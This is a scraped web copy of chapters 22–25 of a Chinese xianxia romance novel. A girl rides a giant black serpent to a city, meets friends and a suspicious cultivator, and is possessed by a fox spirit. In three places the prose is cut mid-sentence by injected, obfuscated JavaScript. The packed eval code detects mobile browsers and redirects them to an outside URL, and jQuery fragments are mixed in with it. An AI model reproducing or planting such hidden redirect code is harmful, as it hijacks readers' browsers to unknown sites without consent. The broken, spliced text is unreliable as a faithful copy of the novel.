其余几个弟子见状连忙安慰他,“没事,这几年仙宗对内门的考核放宽了很多,而且对外门弟子也逐渐重视起来,上个月还有两波外门弟子被师兄带着下山历练了呢。”
话音刚落,突然间空中平白闪出几道白闪,欲携风雨来袭。众人不再多言,趁着雨势来前便互相散去。
-
夜深时分。
阮清木在云霄宗一座不知名的小山顶上百般无聊地坐着。春夜暖风徐徐,月圆高照,山峰一片桃林开得正盛,阮清木在桃林中,没穿修士服,只一身柳绿的衣裙,任凭花瓣落至她的青丝和绿裙之上。
昨夜她已和风宴定好,他将她送到洛方镇,到时她负责扯个理由与温疏良同行,至于风宴就先去妖域。二人分头行动,里应外合。
桃林过于安静,她靠在树旁阖眼打着盹,只因每夜和风宴在同一张床上歇息,她都睡不好。主要还是不太习惯孤男寡女之间同床共枕。
她闭着眼,身后响起落叶被踏过的响动,还没睁眼,身子就忽然一轻,被风宴的气息包围。
风宴将她抱起,一身紧身黑衣,那衣料在月下泛着暗光,没有一丝褶皱,勾勒出宽肩窄腰的身段,再加上他那张俊俏的小脸。
阮清木觉得此时允许自己心口处的半颗心稍微跳那么一小下。
可惜,好像没什么波动。
她在风宴的怀中莞尔一笑:“表哥,你会不会御剑啊?等下是不是就这样抱着我御剑飞下山去?”
风宴蹙了一下眉,将她在怀中轻颠了一下,调整抱她的姿势,“带你飞还需要御剑?”
阮清木:“那不然怎么飞?”
她被风宴抱着一路走到山顶的悬崖边上,夜风忽然变得有些凉意,她往下扫了一眼万丈深渊,往风宴怀中缩了一下。
“不会要把我丢下去吧?”阮清木抬眼看向风宴,“你应该舍不得,毕竟把我丢下去你还得捞我。”
风宴忽然笑了,轻声道:“你想怎么飞?”
阮清木一愣,这怎么飞还能有选择的吗?可是她初来乍到对这里的世界观了解得尚未全面。修仙的应该是御剑飞行,修魔的难道腾云驾雾?
她想了想回道:“怎么飞都行,主要是我也不知道表哥会什么。”
风宴抬起头,看向夜幕中的聚集的浓云,云层很低,站在崖边好似伸手就能触到。
他唇角噙着一丝笑意:“那就搞个声势浩大的。”
阮清木未来得及有所反应,她只觉腰身后风宴的手臂猛然发力,她下意识暗道不好,没等再揽住风宴的脖颈,她整个人就被猛地抛出,径直飞向空中,而身下则是万丈深渊。
她身子迅速下落,脑中一片空白。
————!!
22. 第 22 章
阮清木身体失重开始急速下坠,狂风在耳边如虎啸般嘶吼,她吓得浑身血液都凝固,忽而身下一软整个人被稳稳托住。
只见天地间蓦然出现一条身型巨大的黑蛇,如墨般的蛇鳞遍布全身,黑蛇扶摇直上,转瞬间就飞出千里之外冲破云霄,遨游于天穹之上。
世间万物都在为这忽现于天际之中的巨蛇而震颤。
骤然云涌风起,顷刻滂沱,巨雷劈下,而它周身却化出一层无形结界将雷雨隔绝,瓢泼落雨和阵阵惊雷在寂寥的空中更显压迫,黑蛇却狂傲肆意地飞游于天光中,搅得天地都在怒吼。
如果不是亲眼所见,阮清木简直不敢相信,她这辈子还能见到如此震撼的场面。
风宴稳稳将她托住后猛然冲进云间,坐落几座山顶间的云霄宗被突来的电闪雷鸣劈得如同白昼。
泛着幽绿光芒的巨大蛇身在浓厚的云层间肆意穿梭,蛇尾一扫便卷出狂风,袭倒一片树林,惊得山中不少弟子出来查看发生了何事。
阮清木不知被何术法固定在他背上,坐得稳稳的,只是这场面实在太过骇人,她将头埋在蛇鳞中,看都不敢看一眼。
越来越多的修士惊得跑了出来,但只见了那空中巨物一眼,饶是有百年修为,也被吓得腿都打颤。
“魔……魔物!”
这等级别的巨蛇,藏于云间见的那双竖瞳泛着如鬼火般的幽绿光芒,好似对视一眼就能噬人心魄,如同恶魔。
“结……结,结阵啊!愣着干嘛呢!”有人开始在人群中厉声大喊。
可是更多的是被吓傻在原地的修士。几大宫的长老们也纷纷现身,第一眼见了风宴的蛇身,也是被震撼得愣在原地。但毕竟是长老,立刻站出五六个人默契地迅速飞身前往山顶。
风宴狂妄地哼了一声,转身送那几个飞身而来的长老一道横扫的蛇尾,雷闪顺势劈下,那几个长老连忙缔结防御术法。
黑蛇继而直朝天幕更深处呼啸而去,汹涌的雷鸣浩然响彻山间。
骤雨无情砸下,黑蛇顷刻间消失于夜幕之中,只留下峰顶的几个长老和山中的惊魂未定修士弟子。
阮清木始终被一层透明结界罩着,稍微适应了风宴的速度,她终于敢抬起头来,回眸望向身后山中的云霄宗,早已近乎消失在雨幕中,只剩下一个小黑点。
可见风宴速度快得恐怖。
“表哥……”阮清木趴在风宴的背上,声音有些抖。
黑蛇微回过头,露出那泛着幽绿光芒的竖瞳,一道雷闪,映得他的瞳仁一瞬间发白。
“你好帅啊!”
她现在被震撼得也只会说这种朴素但简洁明了的词了。
黑蛇得意得略晃了晃蛇身,身侧飓风骤起,速度更快地俯冲而去。
——
风宴的速度实在是太快,到了凡间北境百姓所居的城镇时,天都没亮,阮清木在他背上眯了一会。黑蛇早已收敛全部气息,隐身停在城中一座客栈门前,他敛去蛇身,变回原本的样貌,顺便将阮清木又抱回怀中。
等她再睁开眼时,发现自己已经在客栈的床上睡到天亮了。
人声鼎沸的声音自窗外闯了进来,她起身看了一圈,房内陈设布置简单,只是不见风宴的身影。她到窗边将那雕花木窗轻轻一推,便见到整条街景。好像是这座城中最繁华的主街,青石板路上几个行人,街旁店铺繁多。
她下意识地蹙眉,这是洛方镇吗?
不过阮清木还是第一次见到这份独属于凡间的烟火气,毕竟她刚穿进来时整日里东躲西藏,怕被原主的仇家找上门,又得去荒郊野外找死人的心脏,哪有机会进城。
她倚着窗多看了一会,视线随着下面的人流缓缓移动,掠过几个喧嚣的铺子,她忽然就注意到斜对面的一间雅致店面。
店前聚集着些衣着华丽的小姐们,身后均带着几个侍从。从人群中挤出个瘦小的人影,阮清木定睛一瞧,这不何言吗?
何言一身鹅黄长裙,因为只有她一个人在人群中挤来挤去,所以格外显眼。手中还提着刚才铺子里买好的小食盒,眨眼间就进了阮清木身处的客栈。
这么巧?
阮清木想也没想,便推门而出,径直在客栈楼梯上将何言拦下。
去路被挡住,何言先是一惊,待抬头看清来人是阮清木更是一激灵。
“你怎么在这!”她脱口而出,声音大得将楼下几桌客人惊得纷纷回首看了过来。
阮清木示意她低声,拉着她就往楼上的房间走去,“你不是说要回家处理家事吗?”
何言点着头:“是啊,我是要处理家事才来这的……”她忽然顿住,“不是,那你为什么在这啊?”
二人进了屋,阮清木合上门,才回道:“我……是来找温师兄的。”
何言将手中的小食盒放下,面露讶异:“他下山了?来这做什么?”
阮清木只好将温疏良受师尊嘱托下山解决灵脉之事简单地和何言讲了一遍。
何言边听着,边从食盒中那出一块桂花酥塞到阮清木的嘴里,刚好就瞥到她还留着血痂的唇角,猛然一惊:“啊!你怎么被人打了啊!”
阮清木也被吓了一跳,但还是精准接住何言手抖掉下来的桂花酥,“倒也不是……”
陡然间,何言就凑近过来,她仔细看着阮清木的下唇,伤痕确实不像被打出来的,唇角略肿着,更像是被亲……
“啊——!”她又一声大喊,阮清木半颗心都快被她吓出来了。她沿桌撑着额角,有些无奈地闭了闭眼。
何言咬牙切齿低声问道:“是你那个表哥?”
见她默不作声的样子算是默认,何言一屁股坐回椅子,叹了一声:“怪不得你会跑下山。”
“那你呢?你来这边又是做什么?”阮清木问道。
何言倒没先回她的问题,反问道:“温疏良要去的地方是不是北域妖冥交界之地?”
阮清木点了点头。
“算了,还是告诉你吧,反正我从云霄宗一走,便做好了不回去的准备。”她神色间浮上一层凝重,“我爹他是鬼修,虽终日里不得离开冥域,但每隔一段时间他都与我们保持联络。”
“但上个月起,他就音讯全无了。”
阮清木则是一脸茫然:“鬼修?”
何言继续说道:“修道者三魂七魄,若是寿元耗尽未得道飞升,会有人选择强行留下自己的三魄,借尸还魂,遁入鬼道。”
“原本我是打算一个人去冥域寻他,可那鬼地方煞气极重,哪是我这种修为能抗得住的。所以我便想着到那交界处,试试能不能把我爹那老鬼给招出来。”
“不过你既然说温疏良刚好也要去妖域,那我何不跟你们一起同行?左右比我自己一人要好得多。但云霄宗乃仙门正
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196407|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道,是不允许门内弟子与这些邪修有所牵连。”
“所以,要让温疏良知道我爹是鬼修,我就不能再回云霄宗了。不过我倒无所谓,反正我也不爱修炼。”
何言面无表情地拾起一块桂花酥往嘴里送去。
阮清木不觉蹙起眉,但何言的家事她到底也帮不了什么。
骤然窗外一道雷闪,狂风席卷,乌云蔽日,方才还日头正盛,顷刻间,天色就黯淡下来。眼看着雨势即来。阮清木起身到窗边,将窗子全都关严。
“不过我怎么没看到其他同门弟子,就只有你一人?”
阮清木不动声色地回道:“是啊,我自己来的,到现在我也没找到温师兄呢。”
只能说风宴的速度实在是太快,温疏良一行人还没到呢。
何言咬了一半的桂花酥从嘴里掉了出来,“那他们不会已经直接去妖域了吧?”
阮清木想了想,回道:“也有可能。”
何言啪的一拍脑门:“那咱俩明天就赶紧追上去。”
她话未说完,窗棂陡然吹进一股风,将其吹得啪嗒一响。
顺着窗棂的缝隙便钻进一股黑气。阮清木敏捷地一眼就窥见异样。她看了一眼何言,却对此毫无反应,好似只有她能看见那抹黑气。
那黑气逐渐弥漫开来,若隐若现,阮清木眯起眼睛,判断着到底是自己看错了,还是真的有脏东西。
何言自顾自地吃着,又将小食盒往她这边推了推,“你怎么不吃啊,我排了好久才买到呢。”
说话间,那原本散掉的妖气又重聚起来,妖气森森,自屋内飘来飘去,竟化形一只雾气般的手,猛然抓向何言的后颈。
阮清木心下一惊,下意识就想运起灵力抵挡下那妖气,可她尚未出手,周身的空气仿佛随她意识控制,无形间将那妖气束住。
她忽然愣住,又试着用意识御起灵力,瞬间那抹妖气就湮灭得烟消云散。
嗯?这么简单就没了?
还没来得及想明白这城中怎么会忽然出现妖气,何言就偏过头来问道:“怎么了?”
阮清木压低声音:“好像有妖气。”
何言一惊,四下对着屋内环视,“哪呢?我怎么没感觉?”
因为已经没了……
身后的房门就被叩响,阮清木想着大概是风宴,看了眼何言,最后还是决定先给他开门。
门一开,外面的人竟不是风宴。而是一身雪白道袍,玉簪束发,眉眼清俊,气质出尘的修士。阮清木见那人十分面熟,陡然间想起她之前看到的那些外门弟子的记忆。
那人微微一笑,执手抱拳道:“唐突姑娘了,在下方才见姑娘的房内似乎有所异动,不知是否需要援手?”
就连这声音都极为熟悉。
面前的脸与她记忆中的样貌重合,门外站着的居然是出现在那女弟子记忆中,苏婧空的凌哥哥——凌无相。
与此同时,窗棂忽然从外被拉起,屋内三人均向那边望去。只见风宴从窗外利落地翻窗而入,动作轻盈,落地时连衣袂都未扬起,他手中也提着两个小食盒。
外面雷雨大作,但他身外渡了一层灵力隔绝,滴水不沾,就这样翻进了阮清木的屋子。
一抬头,就看见屋内三人一脸讶异地看着自己,风宴的眼底闪过一丝不悦,唇角却翘起:“怎么我才走了一会,就这么热闹了?”
23. 第 23 章
雨声自风宴身后半开的窗棂淅淅沥沥传来,随身带进来的潮气漫延在房内。
风宴的脖间又被领子遮起,与平日里在云霄宗穿的修士服不同,除了阮清木,他很少在别人面前穿黑衣。
但此时他这紧身玄衣,墨发又未束,只随意披在肩头,衬得他脸色愈发莹白。张扬上挑的眼睛,带着几分邪魅,腰间暗红色的腰带束住窄腰,衣摆处蜿蜒盘踞的红色纹样,整个人不免显得有些阴鸷。
何言差点没认出风宴,见他神色不悦,且两三步上前将手中食盒放到桌上时,视线没从他们三人身上移开半分,无形的压迫让她有些紧张。
阮清木也有些紧张,因风宴鲜少在外人面前这般露出邪气的模样,看起来着实不太像正道弟子。
她有些心虚瞥向门外的修士,却见那凌无相竟将全部注意力,都放在她的脸上。
那双带着查探的眼神像把利剑,审视着她。
阮清木:你搞错人了吧?
只见凌无相神色一肃,先行一礼:“在下万灵宗弟子,凌无相。方才见有一缕妖气遁入了姑娘房内,这才贸然相询,扰了几位,多有得罪。”
虽然言语态度十分礼节,却仍是定定看着阮清木。
万灵宗?
这次倒是轮到阮清木盯回去了,那女弟子的记忆中,他明明带着她一起拜入的云霄宗啊。
“原来同为道友啊。”何言往前一步,“方才你也说有妖气来着,怎么就我没感觉啊?”
她还想问问风宴有没有察觉到什么,刚回头就看见风宴神色难辨,眼睛也直勾勾地黏在阮清木的身上,眸光森冷。
她下意识地闭上了嘴。
凌无相眉梢挑起,像是不经意地开口问道:“你们也是修道之人?敢问是哪个仙宗弟子?”
“毕竟在下看这位姑娘,着实有些面熟。不知是否在哪见过?”
此话一出,屋内陡然沉默了下来。
阮清木怔住,她倒是通过那女弟子的记忆见过凌无相,可凌无相没理由见过她呀。
还是说,他指的是原主……
何言抵不住房内的低气压,她上前一挥手,将二人互盯的视线全都用手挡住,“差不多行了,你这搭讪方式该换了啊。”
瞧不见身后有人眼珠子都要瞪出来了吗?
“你不是说有妖气吗?要不再看看现在还有吗?”
凌无相闻言便将灵识探去,的确未再找出那抹妖气。
只是眼下他更在意的是这身青绿衣裙的姑娘,眉眼间似乎很像他之前一直未曾捉到的……
“你看,没有吧。”何言忽然出声又打断了他的思绪。
“更何况我们都是云霄宗的内门弟子,要真有的妖邪作祟,我们也自能应对,应该用不着道友出手,多谢哈。”
何言语速极快,说完还准备关门送客。
凌无相及时抬手抵住了门扉,刚要接着开口,那门扉却猛然间被另一股力量对抗,这股灵力出现得悄无声息,凌无相甚至察觉不出,是何人出手。
他神色不悦,只能姑且当他认错了罢。
只是这般不礼貌地直接赶人,若这屋内这三人是其他仙宗弟子,他不会与之计较,大不了退一步,互不得罪。
可偏偏是云霄宗。
凌无相掌间运起灵力,迸发出淡淡金光,与那股不知从何而来的灵力较着劲,不肯退让分毫。
他将屋内三人扫视一圈,最终看向那个最不像好人的黑衣少年。
风宴正抄着手倚在窗前,极轻地笑了一声。
笑是因为,这股和凌无相对抗的灵力根本不是他的。
阮清木正悄然将灵力无形地抵在门上,察觉到凌无相也将自己的力量投在门扉上,她又暗暗将灵力运转,继续用力往外推。
说她看起来眼熟,着实是个非常危险的信号,万一他见过的之前做妖女的原主就麻烦了。
快关上啊这个死门!
咔嚓一声,门扉上传来不堪重负的呻吟声。凌无相的额间已密布一层汗意,手臂传来痛意,开始发颤,他已是将全身的灵力都抵在门上。
这小子究竟是何修为?一动不动,轻飘飘地就能抵住他全身的灵力?
阮清木只犹豫着如果再加点力道,这门会不会坏掉。
终于是灵光一闪,她调转灵力的方向,对着凌无相的脑门往外猛力推去。他神色骤然一变,往身后踉跄几步,灵力尚未收回,门就“砰”的一声关上了。
呼,搞定。
收回灵力,她还不忘假意和身旁的何言抱怨:“这人好烦啊,是吧。”
只是何言面上的神情略有些不自在,方才那两股力量对冲时的压迫,她也切实感受到了几分。阮清木这位表哥性子当真不太好惹。
就连方才看到阮清木红肿的唇角,那种要为小姐妹出头的怒意,都悄然散去了。
“既然你表哥回来了,那我也就先走了。我房间在直走左拐的尽头,要是启程去找温疏良的话,记得喊上我就行。”
毕竟她很会看眼色,一下子就溜了。
“……”
只是在旁人眼中凶神恶煞的表哥本人,此时早已百般无聊地坐在几案前,将他刚买回的小糕点一一摆了出来。
自从上次带回雪蔻给阮清木吃,他莫名觉得给阮清木喂东西,跟他早些年刚将炎昀捡回魔域时,给那只赤鸟喂食的感觉差不多。
不过炎昀那时候是真的没有化形出人形的鸟。
阮清木不是个真木头。
但不管怎么说,感觉上是差不多。
他虽然喜欢杀人,但也很喜欢养东西,这两种感觉也很相似。因为二者都是能够直接掌握对方性命的类型。
他将一盒两层的紫檀食盒拆开,一共四个盒子,什么枣泥酥芙蓉糕金桂粽还有……
何言落在桌上的桂花酥,和他买的一样。
他蹙眉,将何言那个盒子推远了点,然后回过头看向阮清木。
“过来。”
阮清木还站在门旁不敢置信。
因为这很诡异你知道吗。
“你出去就是买这些去了?”阮清木忍不住问了。
风宴坦然地点了点头。很正常啊,他在魔域的时候就有习惯养一些花花草草木头蛇啊鸟啊。
小白蛇从他衣袖中弹出脑袋,眼睛瞪得圆圆的,吐着信子朝小食盒爬去。
见阮清木还是没动,风宴有些不耐烦:“过来。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205646|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“哦。”突然被凶了一下,她一下老实了,径直走过来坐到风宴那张几案的对面。
风宴又蹙起眉,他扫了一眼他身旁空着的椅子,“坐这个。”
?
阮清木只觉得更诡异了,但她无所谓,反正坐哪都一样。于是她还是听话地挪了位置。
小白蛇爬到食盒旁,伸出信子舔了一块金桂粽,原本风宴抬手拾起另一块金桂粽的动作忽然顿住,换成了芙蓉糕。
随后他将那块芙蓉糕递到了阮清木的嘴边。
那金桂粽太甜。
阮清木盯着那块停在她嘴旁的糕点,觉得风宴多半还停在突然咬她一口的愧疚中,没有走出来,但又碍于面子,只能靠这些来表达。
她试探着接过,“表哥,其实你不用……”
风宴忽然移开那块芙蓉糕,躲过她接糕点的手,再次将那糕点放到她的唇边。
既然要喂养这些小东西,就得亲手喂。如果自己吃就不算了。
思索一瞬,阮清木只好顺着他咬了上去,明亮的眸子缓缓向上转眄,对上风宴的视线,似乎是在向他确认。
风宴满意地收回手,不再喂她,只将食盒往她那边推了推。
小白蛇紧接着也尝了一块芙蓉糕,因为化形的身体变得很小,所以吃得慢吞吞的。
阮清木又拿起一块:“表哥怎么不吃?我一个人又吃不完。”
风宴只看着小白蛇津津有味地吃着糕点,淡淡地回道:“本来就是买给你的,我从来不吃这些。”
屋外的雨势渐小,街坊处临时收起摊子的商铺又开始恢复了人声。阮清木向外扫了一眼,问道:“表哥,这里好像不是洛方镇吧。”、
面板的地图显示,洛方镇极为接近北境的妖域,那种阴邪之地,必然鲜少人居住,不会这般热闹。就算有零星几落村子,估计也是贫苦人家。
“不是,这里是锦安城。”
阮清木正嚼着糕点的嘴巴忽然顿住。今天怎么一个两个的都这么巧,一个是凌无相,现在这锦安城又是那女弟子记忆中的旧乡。
“那我们为何不直接去洛方镇呢?温疏良会在这城中歇脚吗?”
她想起什么,恍然道:“你又和炎昀互相传讯了是吧。”
风宴没回应,只将小白蛇拎到了另一个食盒中,让它换着口味吃。他抬眼看向阮清木,又瞥见了她还没好的下唇,那一点微肿的红色,在素净的脸上格外惹眼。
“你……要一直这样下去吗?”他忽然开口。
“嗯?”阮清木不知他在说什么,但见风宴指尖凝起星星点点的灵力,径直朝她唇边探来。
她下意识地拦住,面上浮出一丝不怀好意地笑:“留着呗,到时候见了温疏良也有理由解释我为什么突然下山。”
说完她留意了一眼风宴的反应。
见她这么说,风宴便将手放下,点了点头:“好。”
“你不生气?”阮清木第一次见风宴这么好脾气地听她的话。
风宴疑惑:“生什么气?”
“我这么利用你,你不生气?而且你不怕传出去对你的名声不好?”
闻言,风宴忽然笑了:“怕什么?本来就是我做的。”
24. 第 24 章
入夜,白日里车水马龙的喧嚣尽数沉寂下来,整个锦安城都悄无声息。
客栈的房内没有点灯,唯有自窗外投进来的一缕清冷月光,在深色地板上披上一层光晕。
风宴的身侧传来一阵轻微的窸窣声。还没等他反应过来,一个温软的身子便毫无防备地贴了过来,像是熟睡的小兽下意识地蜷在他身旁。
阮清木翻了个身就将他身子圈住,眉心蹙起,好似在害怕着什么,在他肩膀蹭了蹭脸颊后,将头自然而然地埋入了他的颈窝间。
风宴微微将头往一旁侧了一点,让阮清木抱住他的姿势更贴合。
其实自从阮清木发现自己受这个魂契影响,会下意识地贴近他之后,每晚入睡前,她都刻意离得远些。甚至一直以来都不怎么敢睡。
今夜她大概是实在抵不住,就这么睡过去了,所以无意识地将自己整个人贴了上来。
若有若无,干净清甜的香气随之萦绕在他鼻间,不是什么脂粉香气,是她身上草木清香的味道,丝丝缕缕。
没有一把将她推开,单纯是因为魂契是对两个人都产生影响的。换句话说,她下意识地贴近,他也同样会舒服一些。
仅此而已。
黑暗中,风宴缓缓阖上眼。
他将神识以自己为中心,如一张蛛网般无边无际地扩展开。自屋檐,自长街,一寸一寸地逐渐掌握整个锦安。
终于将意识探到锦安城的每一处角落,他寻到了刚到锦安城中的温疏良那一行人。
因为到了城镇之中,不再御剑,一行人走在四下寂静的石阶路上。
寻到了这行人的位置后,风宴便缓缓聚集自己四散的神识。其实眼下已经探到了温疏良的位置,他如果将神识归体,再出门会更快些。
但现在那副身子正被阮清木死死搂着,他要是起身,阮清木就会醒。
倒不如继而用神识,虽然聚集神识,慢是慢了点。
一道模糊的身影逐渐被勾勒出来,缓缓变得清晰,终于灵光散去,一抹半透明的身影静静悬浮在夜空之中。
风宴的神识迅速朝温疏良所在处飞掠而去。
穿过层层绕绕的街道,他好似一道无声的流矢,不过短短数息间,他就已悄然接近那一行人。
他敛住气息,用神识杀人,着实要比正常情况下耗费更多灵力,但也是最能隐藏自己的办法。
一行人中,炎昀似乎有感应一般,略微回了下头,随即又若无其事地跟在人群之中。
风宴缓缓抬起手,随心念化动灵力,一瞬间,无数星星点点的火光自虚空中析出,朝他掌心汇聚成暗红色的火焰。
虽然先前和阮清木约定好,和温疏良同行去取魄珠,但他改了主意。提前将温疏良杀了,才是最优解。
漠然的眸间闪过杀意,没有丝毫的犹豫,他手腕轻转,抬掌便狠厉地袭去。
只是刚掠出半步,他的神识就骤然顿住。风宴皱起眉,他低下头,望向自己的身体。
因他此时是神识状态,身形衣着都与自己在客栈的本体一般无二。
他的神识虽然看起来没有一点变化,但那躺在阮清木身旁的本体却传来了异样。
有人跨坐在他的腰间,一双微凉的手正轻轻抚着他胸襟,那双手落在他衣襟的盘扣之上。
指腹游走在他的身体上,随后他感受到自己本体的衣襟,被缓缓地,一寸寸地扯开。
……她在做什么?
他紧盯着不远处的温疏良,本想着今夜就算杀不掉他,也能将其重伤。
这样他便可以单独动身去取百妖王的魄珠。
正思索着,他的本体又被一只手揽住,动作很慢,似乎在引诱着他。
不是她。
风宴的神识瞬间转身朝客栈飞去。
-
神识归体。
那双紧闭了许久的狭长眼眸缓缓睁开,对上正坐在他腰腹间,明媚却极其蛊惑的双眼。
屋内,不知何时燃起的烛火昏暗。
阮清木发出一丝绵长均匀的吸气声,她抬起手,一根纤长玉指落在他的脸上,沿着他的脸侧划到下颌,眼底尽是勾引的神色。
不是魅术。
轻挑起他的脸,她桃红的薄唇开合:“公子这幅样貌,当真是极上乘者。”
就连声音都不似平日里的清冷,而是转换了声调,能钻进人骨子里的酥媚。
风宴蹙了蹙眉,这是被狐妖上身了。
好歹也是和他绑定了魂契,占用他一身修为,怎么连个狐妖都防不住的?
他动了动手指,发现这狐妖还给他设了定身术,一股微妙的禁制锁住了他的四肢百骸。
风宴嗤笑一声,瞬间抬手掐住她的脖颈。
阮清木的脸上陡然露出怯意,她瞳仁骤缩,双手死抓着箍紧她脖颈的手。但只慌乱了这一瞬,下一秒她的唇角就勾起。
这倒是她之前常做的表情。
她从喉间挤出声音:“公子……我可是你的枕边人啊。”
“我们,是道侣啊……”她脸颊憋得绯红,继续苟延残喘道。
风宴那漠然的眼眸终于有了一丝波动,他歪头看着她。
似乎是抓住了他这一刹那的犹豫,阮清木松开一只手,忍痛抚上他的脸,近乎谄媚地表情:“放了我,求你。”
“求您了。”
这幅模样也有几分熟悉,只是这份熟悉的谄媚样子,她鲜少对他这样。
瞬间他便回忆起,那日她用着这张脸去讨好温疏良的样子。一种说不清道不明的滋味爬上他的心间。
鬼使神差地,他眼底的杀意竟褪去了几分。风宴的掌间卸了力,阮清木捂着脖子就倒了下去,直接撞进他的怀中。故意将微凉的发丝摩擦在他胸前,近在咫尺的吐息擦过风宴的耳畔。
她颤抖地躺在风宴的怀中,幽幽开口:“公子的身子好冰,要不要奴帮您暖一暖?”
阮清木眼皮缓缓掀起,这张脸因窒息而浮现出诡异的红,倒添了几分惊心动魄的媚感。方才还满是怯意的眸子,顷刻间蒙上一层水雾。
风宴挑起眉梢。
“你想怎么死?”他淡淡地开口。
阮清木动作极为轻柔,竟抓起他的手,与他十指紧扣,掌间因魂契而留下的咒印摩挲着他的掌心。
“为什么要杀了我?同一张脸,我给你的感觉,她能给你吗?”
似乎从他细微的表情中捕捉到了什么,她更大胆了。
像藤蔓寻到了可以攀附的树,她整个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214944|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柔软的身子都缠了上来,不再有半分间隙。温热的手臂环住了风宴的脖颈,指尖轻缓地探入他散落的墨发间。
极致的靠近,他乱了节奏的心跳声传进那狐妖的耳中。
她并未抬眼,长睫如蝶翼般低垂,好似一切尽在她掌控之中。那得逞的表情全然落在风宴眼中。
风宴仍面无表情,看不出一丝情绪。终于那颗失控擂动的心跳,仿佛被死死攥住,戛然而止。
一切是混乱、病态的好奇都在这一瞬间被他斩断。
他漠然地从她手中抽回那只修长分明的手,五指微张,掌间运力,一缕暗红色的魔气凝出,汇聚于他的掌心。
在袭向她的下一秒,阮清木的神情竟陡然间开始扭曲。
风宴的动作顿住。
那极为痛苦恐惧的神情,仿佛皮肉之下有另一股力量要挣脱出来的景象。
好似有一只手从她眼眶中挤出,板住她的脸,死死抓住那狐妖的神魂。
下一秒那只手竟猛地用力一扯,浑身散发黑气的扭曲的鬼影,竟硬生生被那只手,一点一点地从自己的身体中拽了出来!
而随着那鬼影彻底剥离出体外,阮清木神色间所有的媚意和痴迷的神情瞬间褪去。
她惊魂未定地跨坐在风宴的腰间,那双恢复了清澈的眼眸看向了她身下之人。
“表哥!”
阮清木手中还死抓着那狐妖,在她手中发出凄厉的一声惨叫:“啊啊啊——!”
她蓦地身子僵住,下意识就要捂住狐妖的嘴巴。大半夜叫这么大声是要干什么?
风宴抬手便帮她掐了个诀,将那狐妖的六识五感全部封住,顿时屋内安静下来。
阮清木见状直接将狐妖用力甩出,那副躯体撞到墙上便重重摔到地上,如鬼一般蜷缩痉挛着。
她另一只手撑在风宴的胸前,猛地回过头,眼中带着怒意:“这什么鬼啊?怎么上我身了?”
那双明媚的眼眸瞪得圆圆的,又恢复了以往的活力。
“这不是鬼。”风宴移开视线,慢悠悠地开口。
不是你……
阮清木气愤道:“我不是在说这个。”
方才她只觉自己的意识如坠入深海之中,看不见也听不见,但又好像能感觉到自己的身体不受控地在动。她挣扎了很久,都睁不开眼睛。
直到心口处的心跳声越来越喧嚣,每一次跳动都好似锤击她的胸口,才终于将她彻底吵醒。
“这东西刚才用我身体做了什么?”阮清木垂眸看去,才发觉自己正跨坐在风宴的腰腹上,一只手还抓着他胸前的衣襟。至于风宴的衣襟已经被撩开了一半,松垮地挂在身上,露出一大片胸肌……
她连忙抬起眼,震撼得无话可说。
良久,她才想明白自己到底是怎么醒的。
是这鬼东西上了她的身,又借机去撩拨风宴,结果看他长得实在是不错,一边勾引,一边把自己搭进去了。
所以那砰砰乱跳的心跳声才把她给吵醒了。
“她看上你了。”阮清木抚着自己的心口,若有所思地喃喃自语。
风宴猛地回过头,眉心蹙着,被阮清木这句无厘头的话搞得语滞。
“是真的,我的心跳得好快。”
25. 第 25 章
阮清木抬起眼,对上风宴那不太平静的眼眸,抚在心口的手一直没有放下。
“不然这要怎么解释?”
咚咚的心跳声停不下来。
明明只是寻常的夜,窗外微不足道的风声,此时落在二人的耳边,却被无限地放大,变得喧嚣起来。
桌上的烛火不知何时即将燃到尽头,火苗愈来愈小,光线也愈发昏暗,在墙上映出模糊的人影,两道近在咫尺的轮廓。
风宴烦躁地隔空又点亮了几盏灯火。
他扫了一眼还坐在他身上的阮清木,“那是因为我方才要杀了她。”
“还有,你先下来。”
他没再看向她,声音喑哑,面色冷得吓人。
阮清木这才反应过来两人此刻是何等姿势。她脸上血色瞬间将小脸涨得通红,不再有半分迟疑,手忙脚乱地从他身上爬走。
但她起身的动作太急,身子又有些发软。
不觉地往旁边倒了一下,她连忙撑在床榻上,膝盖不可避免地自他大腿根侧重重地擦了过去。
她猛然顿住,僵在那一动不动的,连呼吸都屏住了。
身下之人也是蓦地僵住。
阮清木不敢抬头,只能用余光心虚地瞥过去。
烧起来的不止她一个。
那藏于青丝下几乎要滴血的耳垂……
下一秒风宴蓦地起身,挡住烛火的光线,他眼底已浮出杀意,“你是不是真的想死?”
阮清木紧咬着下唇,微摇了摇头,面上浮出一丝委屈来。
